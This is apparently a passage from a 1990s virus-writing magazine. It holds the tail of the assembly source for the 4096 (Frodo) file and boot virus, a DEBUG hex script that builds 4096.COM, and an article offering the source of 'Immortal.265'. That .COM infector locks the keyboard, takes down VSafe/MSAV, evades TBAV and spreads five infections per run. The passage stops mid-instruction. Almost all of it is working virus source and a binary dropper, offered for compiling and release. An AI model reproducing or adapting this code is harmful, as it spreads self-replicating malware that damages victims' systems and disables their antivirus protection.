si,7C00h+FRODO_LIVES-bootblock mov bx,2AEh morelinestodisplay: mov bp,5 mov di,bx displaymorebackgroundontheline: lodsb ; get background pattern mov dh,al mov cx,8 displayinitialbackground: mov ax,720h shl dx,1 jnc spacechar mov al,'Û' spacechar: stosw loop displayinitialbackground dec bp jnz displaymorebackgroundontheline add bx,80*2 ; go to next line cmp si,7C00h+enter_bootblock-bootblock jb morelinestodisplay mov ah,1 ; set cursor mode to cx int 10h mov al,8 ; set new int 8 handler mov dx,7C00h+int8-bootblock ; to spin border call setvect mov ax,7FEh ; enable timer interrupts only out 21h,al sti xor bx,bx mov cx,1 jmp short $ ; loop forever while ; spinning the border int8: ; the timer interrupt spins dec cx ; the border jnz endint8 xor di,di inc bx call spin_border call spin_border mov cl,4 ; wait 4 more ticks until endint8: ; next update mov al,20h ; Signal end of interrupt out 20h,al iret spin_border: mov cx,28h ; do 40 characters across dohorizontal: call lookup_border_char stosw stosw loop dohorizontal patch2: add di,9Eh ; go to next line mov cx,17h ; do for next 23 lines dovertical: ; handle vertical borders call lookup_border_char ; get border character stosw ; print it on screen patch3: add di,9Eh ; go to next line loop dovertical patch1: std ; this code handles the other half of the border xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld xor byte ptr ds:[7C00h+patch2-bootblock+1],28h xor byte ptr ds:[7C00h+patch3-bootblock+1],28h retn lookup_border_char: and bx,3 ; find corresponding border mov al,ds:[bx+7C00h+borderchars-bootblock] inc bx ; character retn setvect: push es push bx xor bx,bx mov es,bx mov bl,al ; int # to bx shl bx,1 ; int # * 4 = offset in shl bx,1 ; interrupt table mov es:[bx],dx ; set the vector in the mov es:[bx+2],ds ; interrupt table pop bx pop es retn writebootblock: ; this is an unfinished subroutine; it doesn't work properly call replaceint13and24 mov dl,80h db 0E8h, 08h, 00h, 32h,0D2h,0E8h db 03h, 01h, 00h, 9Ah, 0Eh, 32h db 08h, 70h, 00h, 33h, 0Eh, 2Eh db 03h, 6Ch, 15h, 03h, 00h, 26h db 00h, 00h, 00h, 21h, 00h, 50h db 12h, 65h, 14h, 82h, 08h, 00h db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch db 15h,0E2h, 0Ch, 1Eh, 93h, 00h db 00h,0E2h, 0Ch, 50h org 1200h readbuffer dw ? ; beginning of the read buffer lengthMOD512 dw ? ; EXE header item - length of image modulo 512 lengthinpages dw ? ; EXE header item - length of image in pages relocationitems dw ? ; EXE header item - # relocation items headersize dw ? ; EXE header item - header size in paragraphs minmemory dw ? ; EXE header item - minimum memory allocation maxmemory dw ? ; EXE header item - maximum memory allocation initialSS dw ? ; EXE header item - initial SS value initialSP dw ? ; EXE header item - initial SP value wordchecksum dw ? ; EXE header item - checksum value initialIP dw ? ; EXE header item - initial IP value initialCS dw ? ; EXE header item - initial CS value db 12 dup (?) ; rest of header - unused parmblock dd ? ; address of parameter block filedrive db ? ; 0 = default drive filetime dw ? ; saved file time filedate dw ? ; saved file date origints dd ? ; temporary scratch buffer for interrupt vectors oldint1 dd ? ; original interrupt 1 vector oldint21 dd ? ; original interrupt 21h vector oldint13 dd ? ; original interrupt 13h vector oldint24 dd ? ; original interrupt 24h vector int13tempCSIP dd ? ; stores calling CS:IP of int 13h carrierPSP dw ? ; carrier file PSP segment DOSsegment dw ? ; segment of DOS list of lists ownerfirstMCB dw ? ; owner of the first MCB jmpfarptr db ? ; 0eah, jmp far ptr int21store dd ? ; temporary storage for other 4 bytes ; and for pointer to virus int 21h tracemode db ? ; trace mode instructionstotrace db ? ; number of instructions to trace handletable dw 28h dup (?) ; array of handles handlesleft db ? ; entries left in table currentPSP dw ? ; storage for the current PSP segment curfileposlow dw ? ; current file pointer location, low word curfileposhigh dw ? ; current file pointer location, high word filesizelow dw ? ; current file size, low word filesizehigh dw ? ; current file size, high word savebuffer dw ? ; storage for handle read, etc. savelength dw ? ; functions return_code dw ? ; returned in AX on exit of int 21h int21flags dw ? ; storage of int 21h return flags register tempFCB db 25h dup (?) ; copy of the FCB errorflag db ? ; 0 if no error, 1 if error int13flags dw ? ; storage of int 13h return flags register savess dw ? ; temporary storage of stack segment savesp dw ? ; and stack pointer BREAKsave db ? ; current BREAK state checkres db ? ; already installed flag initialax dw ? ; AX upon entry to carrier saveIMR db ? ; storage for interrupt mask register saveoffset dw ? ; temp storage of CS:IP of savesegment dw ? ; caller to int 21h pushpopalltempstore dw ? ; push/popall caller address numfreeclusters dw ? ; total free clusters DOSversion db ? ; current DOS version hideclustercountchange db ? ; flag of whether to hide free cluster count hide_size db ? ; hide filesize increase if equal to 0 copyparmblock db 0eh dup (?) ; copy of the parameter block origsp dw ? ; temporary storage of stack pointer origss dw ? ; and stack segment origcsip dd ? ; temporary storage of caller CS:IP copyfilename db 50h dup (?) ; copy of filename storesp dw ? ; temporary storage of stack pointer storess dw ? ; and stack segment stackptr dw ? ; register storage stack pointer storecall dw ? ; temporary storage of function offset topstack = 1600h _4096 ends end -------------------------------------------------------------------------- N 4096.COM E 0100 00 E9 A7 00 C3 75 02 44 15 46 20 43 6F 70 79 72 E 0110 69 67 68 74 20 42 6F 75 72 62 25 7D 69 2C 20 49 E 0120 00 FE 3A 55 8B EC 50 81 7E 04 00 C0 73 0C 2E A1 E 0130 47 12 39 46 04 76 03 58 5D CF 2E 80 3E 50 12 01 E 0140 74 32 8B 46 04 2E A3 2F 12 8B 46 02 2E A3 2D 12 E 0150 72 15 58 5D 2E 8E 16 DD 12 2E 8B 26 DF 12 2E A0 E 0160 E5 12 E6 21 E9 D9 0C 81 66 06 FF FE 2E A0 E5 12 E 0170 E6 21 EB C3 2E FE 0E 51 12 75 BC 81 66 06 FF FE E 0180 E8 6C 0D E8 34 0D 2E C5 16 31 12 B0 01 E8 0C 0F E 0190 E8 53 0D EB D2 1E 56 33 F6 8E DE 32 E4 8B F0 D1 E 01A0 E6 D1 E6 8B 1C 8E 44 02 5E 1F C3 2E C7 06 5B 13 E 01B0 00 16 2E A3 E3 12 B4 30 CD 21 2E A2 EE 12 2E 8C E 01C0 1E 45 12 B4 52 CD 21 26 8B 47 FE 2E A3 47 12 8E E 01D0 C0 26 A1 01 00 2E A3 49 12 0E 1F B0 01 E8 B5 FF E 01E0 89 1E 31 12 8C 06 33 12 B0 21 E8 A8 FF 89 1E 2D E 01F0 12 8C 06 2F 12 C6 06 50 12 00 BA 23 00 B0 01 E8 E 0200 9A 0E 9C 58 0D 00 01 50 E4 21 A2 E5 12 B0 FF E6 E 0210 21 9D B4 52 9C FF 1E 2D 12 9C 58 25 FF FE 50 9D E 0220 A0 E5 12 E6 21 1E C5 16 31 12 B0 01 E8 6D 0E 1F E 0230 C4 3E 2D 12 89 3E 35 12 8C 06 37 12 C6 06 4B 12 E 0240 EA C7 06 4C 12 CC 02 8C 0E 4E 12 E8 6C 0C B8 00 E 0250 4B 88 26 E2 12 BA 21 00 FF 36 20 00 CD 21 8F 06 E 0260 20 00 26 83 45 FC 09 90 8E 06 45 12 8E 1E 45 12 E 0270 81 2E 02 00 61 01 8B 2E 02 00 8C DA 2B EA B4 4A E 0280 BB FF FF CD 21 B4 4A CD 21 4A 8E DA 80 3E 00 00 E 0290 5A 74 05 2E FE 0E E2 12 2E 80 3E E2 12 00 74 05 E 02A0 C6 06 00 00 4D A1 03 00 8B D8 2D 61 01 03 D0 A3 E 02B0 03 00 42 8E C2 26 C6 06 00 00 5A 2E FF 36 49 12 E 02C0 26 8F 06 01 00 26 C7 06 03 00 60 01 42 8E C2 0E E 02D0 1F B9 00 0B BE FE 15 8B FE FD F3 A5 FC 06 B8 EE E 02E0 01 50 2E 8E 06 45 12 B4 4A 8B DD CD 21 CB E8 C9 E 02F0 0B 2E 8C 0E 4E 12 E8 C1 0B 0E 1F C6 06 A2 12 14 E 0300 0E 07 BF 52 12 B9 14 00 33 C0 F3 AB A2 EF 12 A1 E 0310 45 12 8E C0 26 C5 16 0A 00 8E D8 05 10 00 2E 01 E 0320 06 1A 00 2E 80 3E 20 00 00 75 24 FB 2E A1 04 00 E 0330 A3 00 01 2E A1 06 00 A3 02 01 2E A1 08 00 A3 04 E 0340 01 2E FF 36 45 12 B8 00 01 50 2E A1 E3 12 CB 2E E 0350 01 06 12 00 2E A1 E3 12 2E 8E 16 12 00 2E 8B 26 E 0360 14 00 FB 2E FF 2E 18 00 81 FC 00 01 77 02 33 E4 E 0370 8B E8 E8 00 00 59 81 E9 75 02 8C C8 BB 10 00 F7 E 0380 E3 03 C1 83 D2 00 F7 F3 50 B8 AB 00 50 8B C5 CB E 0390 30 7C 07 23 4E 04 37 8B 0E 4B 8B 05 3C D5 04 3D E 03A0 11 05 3E 55 05 0F 9B 03 14 CD 03 21 C1 03 27 BF E 03B0 03 11 59 03 12 59 03 4E 9F 04 4F 9F 04 3F A5 0A E 03C0 40 8A 0B 42 90 0A 57 41 0A 48 34 0E 3D 00 4B 75 E 03D0 04 2E A2 E2 12 55 8B EC FF 76 06 2E 8F 06 B3 12 E 03E0 5D 55 8B EC E8 08 0B E8 D0 0A E8 9A 0A E8 F6 0A E 03F0 E8 B4 0A 53 BB 90 02 2E 3A 27 75 09 2E 8B 5F 01 E 0400 87 5E EC FC C3 83 C3 03 81 FB CC 02 72 E9 5B E8 E 0410 89 0A E4 21 2E A2 E5 12 B0 FF E6 21 2E C6 06 51 E 0420 12 04 2E C6 06 50 12 01 E8 F1 0A E8 A5 0A 50 2E E 0430 A1 B3 12 0D 00 01 50 9D 58 5D 2E FF 2E 35 12 E8 E 0440 AD 0A E8 56 0A E8 72 0A E8 9B 0A 5D 55 8B EC 2E E 0450 FF 36 B3 12 8F 46 06 5D CF E8 77 0A E8 35 0B 0A E 0460 C0 75 DC E8 41 0A E8 18 02 B0 00 80 3F FF 75 06 E 0470 8A 47 06 83 C3 07 2E 20 06 F0 12 F6 47 1A 80 74 E 0480 15 80 6F 1A C8 2E 80 3E F0 12 00 75 09 81 6F 1D E 0490 00 10 83 5F 1F 00 E8 3A 0A EB A4 E8 35 0A E8 F3 E 04A0 0A E8 03 0A 0A C0 75 EE 8B DA F6 47 15 80 74 E6 E 04B0 80 6F 15 C8 81 6F 10 00 10 80 5F 12 00 EB D7 E3 E 04C0 1B 8B DA 8B 77 21 0B 77 23 75 11 EB 0A 8B DA 8B E 04D0 47 0C 0A 47 20 75 05 E8 3F 05 73 03 E9 30 FF E8 E 04E0 F1 09 E8 C2 09 E8 AC 0A 89 46 FC 89 4E F8 1E 52 E 04F0 E8 8E 01 83 7F 14 01 74 0F 8B 07 03 47 02 03 47 E 0500 04 74 05 83 C4 04 EB 8E 5A 1F 8B F2 0E 07 BF B5 E 0510 12 B9 25 00 F3 A4 BF B5 12 0E 1F 8B 45 10 8B 55 E 0520 12 05 0F 10 83 D2 00 25 F0 FF 89 45 10 89 55 12 E 0530 2D FC 0F 83 DA 00 89 45 21 89 55 23 C7 45 0E 01 E 0540 00 B9 1C 00 8B D7 B4 27 E8 49 0A E9 48 FF 0E 07 E 0550 8B F2 BF B5 12 B9 25 00 F3 A4 1E 52 0E 1F BA B5 E 0560 12 B4 0F E8 2E 0A B4 10 E8 29 0A F6 06 CA 12 80 E 0570 5E 1F 74 7E 2E C4 1E C5 12 8C C0 81 EB 00 10 1D E 0580 00 00 33 D2 2E 8B 0E C3 12 49 03 D9 15 00 00 41 E 0590 F7 F1 89 44 23 92 93 F7 F1 89 44 21 E9 F7 FE 2E E 05A0 83 26 B3 12 FE E8 2B 09 E8 E9 09 E8 F9 08 73 09 E 05B0 2E 83 0E B3 12 01 E9 DD FE E8 C5 00 F6 47 19 80 E 05C0 75 03 E9 D1 FE 81 6F 1A 00 10 83 5F 1C 00 80 6F E 05D0 19 C8 E9 C1 FE 51 83 E1 07 83 F9 07 74 2F 59 E8 E 05E0 E4 07 E8 AF 09 E8 84 08 9C 2E 80 3E DA 12 00 74 E 05F0 04 9D E9 1A FE 9D 72 09 8B D8 B4 3E E8 95 09 EB E 0600 10 2E 80 0E B3 12 01 89 46 FC E9 89 FE 59 E9 FE E 0610 FD E8 5D 04 E8 0E 04 72 39 2E 80 3E A2 12 00 74 E 0620 31 E8 5A 04 83 FB FF 74 29 2E FE 0E A2 12 0E 07 E 0630 BF 52 12 B9 14 00 33 C0 F2 AF 2E A1 A3 12 26 89 E 0640 45 FE 26 89 5D 26 89 5E FC 2E 80 26 B3 12 FE E9 E 0650 44 FE E9 BA FD 0E 07 E8 17 04 BF 52 12 B9 14 00 E 0660 2E A1 A3 12 F2 AF 75 16 26 3B 5D 26 75 F6 26 C7 E 0670 45 FE 00 00 E8 1C 02 2E FE 06 A2 12 EB CB E9 8E E 0680 FD 06 B4 2F E8 0D 09 06 1F 07 C3 0A C0 74 03 E9 E 0690 4E 01 1E 52 2E 89 1E 24 12 2E 8C 06 26 12 2E C5 E 06A0 36 24 12 BF F1 12 B9 0E 00 0E 07 F3 A4 5E 1F BF E 06B0 07 13 B9 50 00 F3 A4 BB FF FF E8 7D 08 E8 13 08 E 06C0 5D 2E 8F 06 E6 12 2E 8F 06 E8 12 2E 8F 06 B3 12 E 06D0 B8 01 4B 0E 07 BB F1 12 9C 2E FF 1E 35 12 73 20 E 06E0 2E 83 0E B3 12 01 2E FF 36 B3 12 2E FF 36 E8 12 E 06F0 2E FF 36 E6 12 55 8B EC 2E C4 1E 24 12 E9 3F FD E 0700 E8 6E 03 0E 07 BF 52 12 B9 14 00 2E A1 A3 12 F2 E 0710 AF 75 0D 26 C7 45 FE 00 00 2E FE 06 A2 12 EB EB E 0720 2E C5 36 03 13 83 FE 01 75 33 8B 16 1A 00 83 C2 E 0730 10 B4 51 E8 5E 08 03 D3 2E 89 16 05 13 FF 36 18 E 0740 00 2E 8F 06 03 13 83 C3 10 03 1E 12 00 2E 89 1E E 0750 01 13 FF 36 14 00 2E 8F 06 FF 12 EB 22 8B 04 03 E 0760 44 02 03 44 04 74 60 0E 1F BA 07 13 E8 B6 02 E8 E 0770 0C 03 2E FE 06 EF 12 E8 19 01 2E FE 0E EF 12 B4 E 0780 51 E8 10 08 E8 68 07 E8 11 07 E8 2D 07 E8 56 07 E 0790 8E DB 8E C3 2E FF 36 B3 12 2E FF 36 E8 12 2E FF E 07A0 36 E6 12 8F 06 0A 00 8F 06 0C 00 1E C5 16 0A 00 E 07B0 B0 22 E8 E7 08 1F 9D 58 2E 8E 16 01 13 2E 8B 26 E 07C0 FF 12 2E FF 2E 03 13 8B 5C 01 8B 80 9F FD 89 04 E 07D0 8B 80 A1 FD 89 44 02 8B 80 A3 FD 89 44 04 EB 9F E 07E0 3C 01 74 03 E9 28 FC 2E 83 0E B3 12 01 2E 89 1E E 07F0 24 12 2E 8C 06 26 12 E8 D9 06 E8 97 07 E8 A7 06 E 0800 2E C4 1E 24 12 26 C5 77 12 72 6E 2E 80 26 B3 12 E 0810 FE 83 FE 01 74 23 8B 04 03 44 02 03 44 04 75 45 E 0820 8B 5C 01 8B 80 9F FD 89 04 8B 80 A1 FD 89 44 02 E 0830 8B 80 A3 FD 89 44 04 EB 2C 8B 16 1A 00 E8 31 02 E 0840 2E 8B 0E A3 12 83 C1 10 03 D1 26 89 57 14 A1 18 E 0850 00 26 89 47 12 A1 12 00 03 C1 26 89 47 10 A1 14 E 0860 00 26 89 47 0E E8 09 02 2E 8E 1E A3 12 8B 46 02 E 0870 A3 0A 00 8B 46 04 A3 0C 00 E9 1A FC 2E C6 06 F0 E 0880 12 00 B4 2A E8 0D 07 81 FA 16 09 72 03 E8 22 08 E 0890 E9 7C FB E8 30 05 E8 BC 00 C6 06 20 00 01 81 3E E 08A0 00 12 4D 5A 74 0E 81 3E 00 12 5A 4D 74 06 FE 0E E 08B0 20 00 74 58 A1 04 12 D1 E1 F7 E1 05 00 02 3B C6 E 08C0 72 48 A1 0A 12 0B 06 0C 12 74 3F A1 A9 12 8B 16 E 08D0 AB 12 B9 00 02 F7 F1 0B D2 74 01 40 A3 04 12 89 E 08E0 16 02 12 83 3E 14 12 01 74 62 C7 06 14 12 01 00 E 08F0 8B C6 2B 06 08 12 A3 16 12 83 06 04 12 08 A3 0E E 0900 12 C7 06 10 12 00 10 E8 A9 00 EB 40 81 FE 00 0F E 0910 73 3A A1 00 12 A3 04 00 03 D0 A1 02 12 A3 06 00 E 0920 03 D0 A1 04 12 A3 08 00 03 D0 74 20 B1 E9 88 0E E 0930 00 12 B8 10 00 F7 E6 05 65 02 A3 01 12 A1 00 12 E 0940 03 06 02 12 F7 D8 A3 04 12 E8 67 00 B4 3E E8 43 E 0950 06 E8 18 05 C3 0E 1F B8 00 57 E8 37 06 89 0E 29 E 0960 12 89 16 2B 12 B8 00 42 33 C9 8B D1 E8 25 06 B4 E 0970 3F B1 1C BA 00 12 E8 1B 06 B8 00 42 33 C9 8B D1 E 0980 E8 11 06 B4 3F B1 1C BA 04 00 E8 07 06 B8 02 42 E 0990 33 C9 8B D1 E8 FD 05 A3 A9 12 89 16 AB 12 8B F8 E 09A0 05 0F 00 83 D2 00 25 F0 FF 2B F8 B9 10 00 F7 F1 E 09B0 8B F0 C3 B8 00 42 33 C9 8B D1 E8 D7 05 B4 40 B1 E 09C0 1C BA 00 12 E8 CD 05 B8 10 00 F7 E6 8B CA 8B D0 E 09D0 B8 00 42 E8 BE 05 33 D2 B9 00 10 03 CF B4 40 E8 E 09E0 B2 05 B8 01 57 8B 0E 29 12 8B 16 2B 12 F6 C6 80 E 09F0 75 03 80 C6 C8 E8 9C 05 80 3E EE 12 03 72 19 80 E 0A00 3E EF 12 00 74 12 53 8A 16 28 12 B4 32 E8 84 05 E 0A10 2E A1 EC 12 89 47 1E 5B C3 E8 D3 04 8B FA 83 C7 E 0A20 0D 1E 07 EB 20 E8 C7 04 1E 07 8B FA B9 50 00 33 E 0A30 C0 B3 00 80 7D 01 3A 75 05 8A 1D 80 E3 1F 2E 88 E 0A40 1E 28 12 F2 AE 8B 45 FD 25 DF DF 02 E0 8A 45 FC E 0A50 24 DF 02 C4 2E C6 06 20 00 00 3C DF 74 09 2E FE E 0A60 06 20 00 3C E2 75 05 E8 7C 04 F8 C3 E8 77 04 F9 E 0A70 C3 53 B4 51 E8 1D 05 2E 89 1E A3 12 5B C3 E8 45 E 0A80 03 52 2E 8A 16 28 12 B4 36 E8 08 05 F7 E1 F7 E3 E 0A90 8B DA 5A 0B DB 75 05 3D 00 40 72 43 B8 00 43 E8 E 0AA0 F2 04 72 3B 8B F9 33 C9 B8 01 43 E8 E6 04 2E 80 E 0AB0 3E DA 12 00 75 29 B8 02 3D E8 D8 04 72 21 8B D8 E 0AC0 8B CF B8 01 43 E8 CC 04 53 2E 8A 16 28 12 B4 32 E 0AD0 E8 C1 04 8B 47 1E 2E A3 EC 12 5B E8 8E 03 C3 33 E 0AE0 DB 4B E8 87 03 C3 51 52 50 B8 00 44 E8 A5 04 80 E 0AF0 F2 80 F6 C2 80 74 09 B8 00 57 E8 97 04 F6 C6 80 E 0B00 58 5A 59 C3 E8 E8 03 B8 01 42 33 C9 33 D2 E8 83 E 0B10 04 2E A3 A5 12 2E 89 16 A7 12 B8 02 42 33 C9 33 E 0B20 D2 E8 70 04 2E A3 A9 12 2E 89 16 AB 12 B8 00 42 E 0B30 2E 8B 16 A5 12 2E 8B 0E A7 12 E8 57 04 E8 A6 03 E 0B40 C3 0A C0 75 22 2E 83 26 B3 12 FE E8 85 03 E8 43 E 0B50 04 72 0B F6 C6 80 74 03 80 EE C8 E9 E1 F8 2E 83 E 0B60 0E B3 12 01 E9 D8 F8 3C 01 75 37 2E 83 26 B3 12 E 0B70 FE F6 C6 80 74 03 80 EE C8 E8 6A FF 74 03 80 C6 E 0B80 C8 E8 10 04 89 46 FC 2E 83 16 B3 12 00 E9 06 F9 E 0B90 3C 02 75 0E E8 4F FF 74 09 81 6E F6 00 10 83 5E E 0BA0 F8 00 E9 6A F8 2E 80 26 B3 12 FE E8 38 FF 74 F2 E 0BB0 2E 89 0E AF 12 2E 89 16 AD 12 2E C7 06 B1 12 00 E 0BC0 00 E8 40 FF 2E A1 A9 12 2E 8B 16 AB 12 2D 00 10 E 0BD0 83 DA 00 2E 2B 06 A5 12 2E 1B 16 A7 12 79 08 C7 E 0BE0 46 FC 00 00 E9 62 FA 75 08 3B C1 77 04 2E A3 AF E 0BF0 12 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 05 83 E 0C00 FA 1C 76 1A 2E 8B 16 AD 12 2E 8B 0E AF 12 B4 3F E 0C10 E8 81 03 2E 03 06 B1 12 89 46 FC E9 78 F8 8B F2 E 0C20 8B FA 2E 03 3E AF 12 83 FF 1C 72 04 33 FF EB 05 E 0C30 83 EF 1C F7 DF 8B C2 2E 8B 0E AB 12 2E 8B 16 A9 E 0C40 12 83 C2 0F 83 D1 00 83 E2 F0 81 EA FC 0F 83 D9 E 0C50 00 03 D0 83 D1 00 B8 00 42 E8 38 03 B9 1C 00 2B E 0C60 CF 2B CE B4 3F 2E 8B 16 AD 12 E8 27 03 2E 01 06 E 0C70 AD 12 2E 29 06 AF 12 2E 01 06 B1 12 33 C9 BA 1C E 0C80 00 B8 00 42 E8 0D 03 E9 7A FF 2E 80 26 B3 12 FE E 0C90 E8 53 FE 75 03 E9 0A FF 2E 89 0E AF 12 2E 89 16 E 0CA0 AD 12 2E C7 06 B1 12 00 00 E8 58 FE 2E A1 A9 12 E 0CB0 2E 8B 16 AB 12 2D 00 10 83 DA 00 2E 2B 06 A5 12 E 0CC0 2E 1B 16 A7 12 78 02 EB 7E E8 FA 00 0E 1F 8B 16 E 0CD0 A9 12 8B 0E AB 12 83 C2 0F 83 D1 00 83 E2 F0 81 E 0CE0 EA FC 0F 83 D9 00 B8 00 42 E8 A8 02 BA 04 00 B9 E 0CF0 1C 00 B4 3F E8 9D 02 B8 00 42 33 C9 8B D1 E8 93 E 0D00 02 BA 04 00 B9 1C 00 B4 40 E8 88 02 BA 00 F0 B9 E 0D10 FF FF B8 02 42 E8 7C 02 B4 40 33 C9 E8 75 02 8B E 0D20 16 A5 12 8B 0E A7 12 B8 00 42 E8 67 02 B8 00 57 E 0D30 E8 61 02 F6 C6 80 74 09 80 EE C8 B8 01 57 E8 53 E 0D40 02 E8 28 01 E9 C8 F6 75 07 3B C1 77 03 E9 79 FF E 0D50 2E 8B 16 A5 12 2E 8B 0E A7 12 0B C9 75 08 83 FA E 0D60 1C 77 03 E9 63 FF E8 6A 01 E8 28 02 E8 38 01 B8 E 0D70 00 57 E8 1F 02 F6 C6 80 75 09 80 C6 C8 B8 01 57 E 0D80 E8 11 02 E9 10 F7 E9 86 F6 2E 8F 06 41 12 2E 8F E 0D90 06 43 12 2E 8F 06 DB 12 2E 83 26 DB 12 FE 2E 80 E 0DA0 3E DA 12 00 75 11 2E FF 36 DB 12 2E FF 1E 2D 12 E 0DB0 73 06 2E FE 06 DA 12 F9 2E FF 2E 41 12 32 C0 2E E 0DC0 C6 06 DA 12 01 CF 2E C6 06 DA 12 00 E8 20 01 0E E 0DD0 1F B0 13 E8 BF F3 89 1E 2D 12 8C 06 2F 12 89 1E E 0DE0 39 12 8C 06 3B 12 B2 00 B0 0D E8 A8 F3 8C C0 3D E 0DF0 00 C0 73 02 B2 02 B0 0E E8 9A F3 8C C0 3D 00 C0 E 0E00 73 02 B2 02 88 16 50 12 E8 11 01 8C 16 DD 12 89 E 0E10 26 DF 12 0E B8 40 0D 50 B8 70 00 8E C0 B9 FF FF E 0E20 B0 CB 33 FF F2 AE 4F 9C 06 57 9C 58 80 CC 01 50 E 0E30 E4 21 A2 E5 12 B0 FF E6 21 9D 33 C0 FF 2E 2D 12 E 0E40 C5 16 31 12 B0 01 E8 53 02 0E 1F BA 89 0C B0 13 E 0E50 E8 49 02 B0 24 E8 3D F3 89 1E 3D 12 8C 06 3F 12 E 0E60 BA BD 0C B0 24 E8 34 02 E8 7B 00 C3 E8 80 00 2E E 0E70 C5 16 39 12 B0 13 E8 23 02 2E C5 16 3D 12 B0 24 E 0E80 E8 19 02 E8 60 00 C3 B8 00 33 E8 07 01 2E 88 16 E 0E90 E1 12 B8 01 33 32 D2 E8 FA 00 C3 2E 8A 16 E1 12 E 0EA0 B8 01 33 E8 EE 00 C3 2E 8F 06 EA 12 9C 50 53 51 E 0EB0 52 56 57 1E 06 2E FF 26 EA 12 2E C4 3E 35 12 BE E 0EC0 4B 12 0E 1F FC B9 05 00 AC 26 86 05 88 44 FF 47 E 0ED0 E2 F6 C3 2E 8F 06 EA 12 07 1F 5F 5E 5A 59 5B 58 E 0EE0 9D 2E FF 26 EA 12 2E C7 06 5D 13 D3 0D EB 07 2E E 0EF0 C7 06 5D 13 A7 0D 2E 8C 16 59 13 2E 89 26 57 13 E 0F00 0E 17 2E 8B 26 5B 13 2E FF 16 5D 13 2E 89 26 5B E 0F10 13 2E 8E 16 59 13 2E 8B 26 57 13 C3 B0 01 E8 74 E 0F20 F2 2E 89 1E 31 12 2E 8C 06 33 12 0E 1F BA 23 00 E 0F30 E8 69 01 C3 E8 03 00 E9 D5 F4 2E 80 3E E2 12 00 E 0F40 74 48 83 FB FF 75 43 BB 60 01 E8 47 00 72 3B 8C E 0F50 CA 3B C2 72 09 8E C0 B4 49 E8 38 00 EB 2C 4A 8E E 0F60 DA C7 06 01 00 00 00 42 8E DA 8E C0 50 2E A3 4E E 0F70 12 33 F6 8B FE B9 00 0B F3 A5 48 8E C0 2E A1 49 E 0F80 12 26 A3 01 00 B8 8A 0E 50 CB C3 2E C6 06 F0 12 E 0F90 02 E9 7B F4 9C 2E FF 1E 35 12 C3 FA 33 C0 8E D0 E 0FA0 BC 00 7C EB 4F DB DB DB 20 F9 E0 E3 C3 80 81 11 E 0FB0 12 24 40 81 11 12 24 40 F1 F1 12 24 40 81 21 12 E 0FC0 24 40 81 10 E3 C3 80 00 00 00 00 00 00 00 00 00 E 0FD0 00 82 44 F8 70 C0 82 44 80 88 C0 82 44 80 80 C0 E 0FE0 82 44 F0 70 C0 82 28 80 08 C0 82 28 80 88 00 F2 E 0FF0 10 F8 70 C0 0E 1F BA 00 B0 B4 0F CD 10 3C 07 74 E 1000 03 BA 00 B8 8E C2 FC 33 FF B9 D0 07 B8 20 07 F3 E 1010 AB BE 0E 7C BB AE 02 BD 05 00 8B FB AC 8A F0 B9 E 1020 08 00 B8 20 07 D1 E2 73 02 B0 DB AB E2 F4 4D 75 E 1030 EB 81 C3 A0 00 81 FE 59 7C 72 DC B4 01 CD 10 B0 E 1040 08 BA B9 7C E8 55 00 B8 FE 07 E6 21 FB 33 DB B9 E 1050 01 00 EB FE 49 75 0B 33 FF 43 E8 0A 00 E8 07 00 E 1060 B1 04 B0 20 E6 20 CF B9 28 00 E8 26 00 AB AB E2 E 1070 F9 81 C7 9E 00 B9 17 00 E8 18 00 AB 81 C7 9E 00 E 1080 E2 F6 FD 80 36 E7 7C 01 80 36 D7 7C 28 80 36 E2 E 1090 7C 28 C3 83 E3 03 8A 87 0A 7C 43 C3 06 53 33 DB E 10A0 8E C3 8A D8 D1 E3 D1 E3 26 89 17 26 8C 5F 02 5B E 10B0 07 C3 E8 11 FD B2 80 E8 08 00 32 D2 E8 03 01 00 E 10C0 9A 0E 32 08 70 00 33 0E 2E 03 6C 15 03 00 26 00 E 10D0 00 00 21 00 50 12 65 14 82 08 00 0C 9A 0E 56 07 E 10E0 70 00 33 0E 2E 03 6C 15 E2 0C 1E 93 00 00 E2 0C E 10F0 50 E9 68 02 RCX 0FF4 W Q -------------------------------------------------------------------------- By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- ----------------------------------Immortal.265--------------------------------- This is our real self made virus, we created another before, but that was a modified version of RIOT.144 (Tnx Immortal RIOT!). Immortal.265 is a 265 byte virus, non-tsr, appending, .COM infector, with anti-trace, 13% chance on a keyboard lock, Anti-TBAV, VSafe takedown, 50% chance on a mezzie, 5 infections per run, non-encrypting, not traversal. Compile with A86 or TASM/TLINK! -------------------------------------------------------------------------- %OUT iMMoRTaL.265 virus by Immortal EAS. %OUT Little parasatic non-tsr appending virus. Features: %OUT + Anti-tracing meganism %OUT + 13% chance on a keyboard lock %OUT + 50% chance on a little message %OUT + Quick spreading routine, 5 infects per run %OUT AV Fool techniques: %OUT + VSafe takedown (!!) %OUT + Simple but working version to get Delta Offset ("E?!?") %OUT + Z.COM filespec will be changed to *.COM ("S") %OUT + "F" simply does not appear (!?!) %OUT btw. TBAV heuristic scan "G" disappears after infection!?! .model tiny .code ORG 100h ;COM file remember?!? start: push bx ;Some junk to fool TBAV pop ax mov ax,0fa01h ;Let's take down MSAV!!! mov dx,05945h int 16h call getdlt ;Nice way to get delta offset! realst: getdlt: pop bp sub bp, offset getdlt codest: lea si,[orgbts+bp] ;Restore first 4 bytes mov di,0100h movsw movsw push cs ;DS <==> CS pop ds lea dx,[eov+bp] ;Set DTA address mov ah,1ah int 21h mov al,01h ;Detect INT 1 trace... mov ah,35h int 21h push es pop ax cmp ax,70h ;Default segment INT 1 & 3 jne lockkb mov al,03h ;Detect INT 3 trace... mov ah,35h int 21h push es pop ax cmp ax,70h ;Default segment INT 1 & 3 jne lockkb mov ah,2ch ;13% chance to lock keyboard! int 21h cmp dl, 0dh jg nolock lockkb: mov al,82h ;Actual keyboard lock! out 21h,al nolock: mov ah,2ch ;50% chance to print message! int 21h cmp dl,32h jl spread mov ah,09h ;Bingo! print message! lea dx, [bp+offset welcome] int 21h mov ah,00h ;Wait for a key! int 16h jmp spread welcome db 'iMMoRTaL.263!!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file? spread: mov ah,4eh ;Findfirst lea dx,[fspec+bp] ;Filespec=*.COM mov byte 